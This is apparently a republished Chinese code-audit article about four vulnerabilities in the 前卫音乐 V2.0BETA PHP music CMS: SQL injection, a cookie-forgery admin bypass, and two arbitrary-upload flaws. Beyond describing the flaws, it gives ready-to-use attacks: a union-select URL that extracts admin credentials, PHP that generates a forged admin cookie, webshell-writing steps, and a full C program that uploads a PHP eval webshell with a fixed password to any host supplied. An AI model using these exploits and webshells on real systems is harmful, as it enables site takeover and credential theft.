网站地图    收藏   

主页 > 后端 > 网站安全 >

代码审计:前卫音乐多个漏洞 - 网站安全 - 自学

来源:自学PHP网    时间:2015-04-17 10:15 作者: 阅读:

[导读] 在阅读前卫音乐V2 0BETA(20130709)版代码过程中,发现多个漏洞。1 home libs common php注入漏洞在 home目录里有index php文件,此文件无任何功能,只是包含了 home libs common php。下面看下问题代码...

在阅读“前卫音乐V2.0BETA(20130709)版”代码过程中,发现多个漏洞
1./home/libs/common.php注入漏洞
在/home目录里有index.php文件,此文件无任何功能,只是包含了/home/libs/common.php。下面看下问题代码:

<?php
include_once(CSDJ_PATH.'/conn.php');
ob_start();
//允许动作
$dos = array('down', 'index', 'dance', 'gd', 'gx', 'pick', 'reco', 'feed', 'pic', 'gbook', 'skin', 'blog');
//获取变量
$usym=$_SERVER['HTTP_HOST'];
$uall=explode(".",$usym);
$op=CS_Request("op");
$uid=CS_Request("uid");   //问题参数
$id=CS_Request("id");
$pages=CS_Request("pages");
if(empty($uid)) $uid=$uall[0];
$op = (!empty($op) && in_array($op, $dos))?$op:'index';
if(empty($uid)) exit('抱歉,会员UID为空,参数错误!');
if($op=='skin'){
   if(isset($_COOKIE["cd_name"])){
       $uid=$_COOKIE["cd_id"];
   }else{
        exit("<script>window.location='http://".cd_weburl."/i/login.php'</script>");
   }
}
global $db;
$row=$db->getrow("Select * from ".tname('user')." where cd_id=".$uid.""); //代入查询
?>


代码中$uid经过了CS_Request的处理,如果CS_Request没有过滤好,那么$uid就有可能被带入下面的SQL语句进入查询,下面看下CS_Request的实现:

function CS_Request($pi_strName, $pi_Def = "", $pi_iType = CS_TXT)
{
  if ( isset($_GET[$pi_strName]) )
    $t_Val = trim($_GET[$pi_strName]);
  else if ( isset($_POST[$pi_strName]))
    $t_Val = trim($_POST[$pi_strName]);
  else
    return $pi_Def;
  // 这里是数字型参数的过滤
  if ( CS_INT == $pi_iType)
  {
    if (is_numeric($t_Val))
      return $t_Val;
    else
      return $pi_Def;
  }
   // String
  $t_Val = str_replace("&", "&",$t_Val);
  $t_Val = str_replace("<", "<",$t_Val);
  $t_Val = str_replace(">", ">",$t_Val);
  if ( get_magic_quotes_gpc() )
  {
    $t_Val = str_replace("\\\"", """,$t_Val);
    $t_Val = str_replace("\\''", "'",$t_Val);
  }
  else
  {
    $t_Val = str_replace("\"", """,$t_Val);
    $t_Val = str_replace("'", "'",$t_Val);
  }
  return $t_Val;
}


可以看到,CS_Request对数字型的过滤好了,对于字符型的参数,CS_Request过滤了&、<、>、"、’。
$uid是数字型的参数,本来应该应该过滤好的,但是代码中对CS_Request的调用方式不对,正确的应该为
$uid=CS_Request("uid", 0, CS_INT),作者的调用方式为$uid=CS_Request("uid")等同于$uid作字符串的过滤。
对于字符串CS_Request过滤了单、双引号,本来也应该安全的,但是SQL查询语句:
$row=$db->getrow("Select* from ".tname('user')." where cd_id=".$uid."")
却没有将$uid用单引号包含起来,安全语句应为
$row=$db->getrow("Select* from ".tname('user')." where cd_id=’".$uid."’")。
SQL注入语句:
http://www.0day5.com/home/index.php?uid=1&op=23and 1=2 union select 1,2,3,concat(CD_AdminUserName,0x3c,0x3c,CD_AdminPassWord),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46from musicdj_admin imit 0,1
2./admin/admin_check.php权限绕过漏洞
上面那个漏洞只是注入,还要解MD5,那这个漏洞就可以直接添加管理员了。进入/admin目录,随便打开一个文件,都会调用这个函数:admincheck(7),看名字就知道,检查权限的。Admincheck的实现在/admin/admin_check.php里:

function admincheck($CD_Permission){
if($_COOKIE['CD_Permission']<>''){
$menuarr=explode(',',$_COOKIE['CD_Permission']);
$adminlogined='False';
for($i=0;$i<count($menuarr);$i++){
if($menuarr[$i]==$CD_Permission){$adminlogined='True';}
}
if($adminlogined=='False'){AdminAlert('出错了,您没有进入本页面的权限!','',2);}
}else{
AdminAlert('出错了,您没有进入本页面的权限!','',2);
}
}
if(empty($_COOKIE['CD_AdminID'])){
AdminAlert('您没有进入本页面的权限,本次操作已被记录!','admin_login.php',0);
}elseif($_COOKIE['CD_Login']!=md5($_COOKIE['CD_AdminID'].$_COOKIE['CD_AdminUserName'].$_COOKIE['CD_AdminPassWord'].$_COOKIE['CD_Permission'])){
AdminAlert('您没有进入本页面的权限,本次操作已被记录!','admin_login.php',0);
}


就做两个检查:1、$_COOKIE['CD_Permission']中某一项要跟传入的参数相匹配2、$_COOKIE['CD_Login']==md5($_COOKIE['CD_AdminID'].$_COOKIE['CD_AdminUserName'].$_COOKIE['CD_AdminPassWord'].$_COOKIE['CD_Permission'])
以上两条都满足,就是管理员了,同时程序未对$_COOKIE做任何保护措施。能进后台了,就可以加管理了,就可以上传了。伪造可以用firefox的tamper data就行了。生成cookie的代码:

<?php$CD_Permission="1,2,3,4,5,6,7,8,9,10,11";
$CD_AdminID=1;$CD_AdminUserName="ywledoc";
$CD_AdminPassWord=123;
$CD_Login=md5($CD_AdminID.$CD_AdminUserName.$CD_AdminPassWord.$CD_Permission);
echo "CD_Permission=1%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11;CD_AdminID=1;
CD_AdminUserName=ywledoc;CD_AdminPassWord=123;CD_Login=".$CD_Login."<br>";
?>


生成:CD_Permission=1%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11;CD_AdminID=1;CD_AdminUserName=ywledoc;CD_AdminPassWord=123;CD_Login=5317e16c7b3f5b2b283d481832e5b309
替换后,访问/admin/admin_admin.php
3./admin/admin_mold.php任意文件上传漏洞(需GPC OFF)
利用上面那个漏洞,添加了一个管理员,登陆后开始这一步。先看看漏洞代码:

Function Save(){
$CD_Name=$_POST['FileName'];
$CD_Path=$_POST['folder'];
$CD_TempName=$_POST['tempname'];
$CD_Content=stripslashes($_POST['content']);
$F_Ext = substr(strrchr($CD_Name,'.'),1);
$FileType = strtolower($F_Ext);
if($FileType=='htm'or $FileType=='html'or $FileType=='shtml'or $FileType=='js'or $FileType=='css'or $FileType=='txt'){
if(!$fp = fopen($CD_Path.$CD_Name,'w')) {
AdminAlert('出错了,文件 '.$CD_Path.$CD_Name.' 没有写入权限!','?action=templist&tempname='.$CD_TempName.'&dir='.$CD_Path.'',1);
}
$ifile = new iFile($CD_Path.$CD_Name,'w');
$ifile->WriteFile($CD_Content,3);
AdminAlert('恭喜您,编辑模板文件成功!','?action=templist&tempname='.$CD_TempName.'&dir='.$CD_Path.'',0);
}else{
AdminAlert('出错了,操作已被禁止!','?action=templist&tempname='.$CD_TempName.'&dir='.$CD_Path.'',1);
}
}


源码
if($FileType=='htm'or$FileType=='html'or $FileType=='shtml'or $FileType=='js'or $FileType=='css'or$FileType=='txt')
会验证保存文件的后缀名,但是路径却是拼接出来的$CD_Path.$CD_Name,而且$CD_Path没有做任何验证,可以直接传入%00,进行截断。但%00是会被GPC转义,并且大多数网站都会打开GPC,所以这个漏洞有些鸡肋了。利用方法,访问
/admin/admin_mold.php?action=templist&tempname=%C4%AC%C8%CF%C4%A3%B0%E6&dir=../skin/index/9ku/,随便找一个模板进行编辑,写入你的一句话木马
点击提交,并用tamper data进行拦截,修改数据包,类似shopex的会直接生成一个shell文件
4./admin/inc/uploads.php任意文件上传漏洞(需register_globals为ON)
管理员上传流程/admin/inc/upload.php->/admin/inc/upload/uploadify.swf->/admin/inc/uploads.php,最终实现写文件是在最后一步,看/admin/inc/uploads.php的实现

include "../../include/conn.php";
$id=SafeRequest("id","get");
$action=SafeRequest("ac","get");
switch($action){
       case 'music':
              $targetFiles="../../upload/musicurl/".$id.".".fileext($_FILES['Filedata']['name']);
              $fileexts="*.mp3;*.wma";
              $filetypes="歌曲文件";
              break;
       case 'musicpic':
              $targetFiles="../../upload/musicpic/".$id.".".fileext($_FILES['Filedata']['name']);
              $fileexts="*.jpg;*.gif";
              $filetypes="歌曲图片";
              break;
       case 'special':
              $targetFiles="../../upload/special/".$id.".".fileext($_FILES['Filedata']['name']);
              $fileexts="*.jpg;*.gif";
              $filetypes="专辑图片";
              break;
}
if (!empty($_FILES)) {
       $tempFile = $_FILES['Filedata']['tmp_name'];
       $targetFile = $targetFiles;
       //$targetPath = $_SERVER['DOCUMENT_ROOT'] . $_REQUEST['folder'] . '/';
       //$targetFile =  str_replace('//','/',$targetPath) . $_FILES['Filedata']['name'];
  
       $fileTypes  = str_replace('*.','',$fileexts);
       $fileTypes  = str_replace(';','|',$fileTypes);
       $typesArray = split('\|',$fileTypes);
       $fileParts  = pathinfo($_FILES['Filedata']['name']);
  
       if (in_array($fileParts['extension'],$typesArray)) {
              // Uncomment the following line if you want to make the directory if it doesn't exist
              // mkdir(str_replace('//','/',$targetPath), 0755, true);
              //setcookie("targetFile",$targetFile,time()+86400,"/");
              move_uploaded_file($tempFile,$targetFile);



$fileexts决定允许上传的类型,$targetPath决定上传的路径,然后这两者都取决$action,如果输入一个不合理的$action值 ,那么$targetPath、$fileexts都会变成未定义,在register_globals为ON的情况下,就可以通过$_POST直接给$targetPath、$fileexts赋值了。有的情况下也可以在register_globals为Off的情况下,那有一个条件就是需要以下代码:
foreach(array('_COOKIE', '_POST', '_GET') as $_request) { foreach($$_request as $_key => $_value){ $_key{0} != '_' && $$_key =daddslashes($_value); } }
也是经典的全局变量覆盖漏洞代码。这里没有这段代码,只能依赖register_globals为ON,同样register_globals一般都是off,所以这个漏洞也有点鸡肋。练手,写了一段C POST提交文件的代码,如下:

#include <stdio.h>
#include <WinSock2.h>
#include <Windows.h>
#pragma comment(lib, "ws2_32")
int main(int argc, char *argv[])
{
        PVOID        pBuff = NULL;
        SOCKET        hSock = INVALID_SOCKET;
        int                iResult = 0;
        WSADATA wsaData = {0};
        sockaddr_in                clientServer = {0};
        hostent        *pclientAddr = {0};
        iResult = WSAStartup(MAKEWORD(2, 2), &wsaData);
        if (iResult != 0)
                return 0;
        do
        {
                if (argc != 3)break;
                pBuff = VirtualAlloc(NULL, 0x200, MEM_COMMIT, PAGE_READWRITE);
                if (pBuff == NULL)
                        break;
                sprintf((PCHAR)pBuff,"POST /%s/admin/inc/uploads.php HTTP/1.1\r\n"
                                "Host: %s\r\n"
                                "User-Agent: Mozilla/5.0\r\n"
                                "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
                                "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n"
                                "Accept-Encoding: gzip, deflate\r\n"
                                "Connection: keep-alive\r\n"
                                "Content-Type: multipart/form-data; boundary=---------------------------
1681160893454\r\n"
                                "Content-Length: 539\r\n\r\n"
                                "-----------------------------1681160893454\r\n"
                                "Content-Disposition: form-data; name=\"targetFiles\"\r\n"
                                "\r\n"
                                "../../upload/special/ywledoc.php\r\n"
                                "-----------------------------1681160893454\r\n"
                                "Content-Disposition: form-data; name=\"fileexts\"\r\n"
                                "\r\n"
                                "*.php\r\n"
                                "-----------------------------1681160893454\r\n"
                                "Content-Disposition: form-data; name=\"Filedata\"; filename=\"yijuma.php\"\r\n"
                                "Content-Type: application/octet-stream\r\n"
                                "\r\n"
                                "<?php eval($_POST[paxmac])?>\r\n"
                                "-----------------------------1681160893454\r\n"
                                "Content-Disposition: form-data; name=\"submit\"\r\n"
                                "\r\n"
                                "Submit\r\n"
                                "-----------------------------1681160893454--\r\n\r\n", argv[2],argv[1]);
                hSock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
                if (hSock == INVALID_SOCKET)
                        break;
                clientServer.sin_family = AF_INET;
                clientServer.sin_port = htons(80);
                pclientAddr = gethostbyname(argv[1]);
                if (pclientAddr == NULL)
                {
                        printf("网址解析错误,请检查输入!\n");
                        break;
                }
                clientServer.sin_addr.s_addr = *((ULONG*)(pclientAddr->h_addr_list[0]));
                if(connect(hSock, (sockaddr*)&clientServer, sizeof(sockaddr_in)) != 0)
                {
                        printf("到服务器的连接被拒绝!\n");
                        break;
                }
                send(hSock, (PCHAR)pBuff, strlen((PCHAR)pBuff), 0);
                printf("执行完成,请查看URL:%s%s/upload/special/ywledoc.php\n",argv[1],argv[2]);
                closesocket(hSock);
        } while (FALSE);
        WSACleanup();
        return 0;
}


这段代码执行后会在/upload/special/目录下生成ywledoc.php一句话木马,密码是paxmac。
 

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论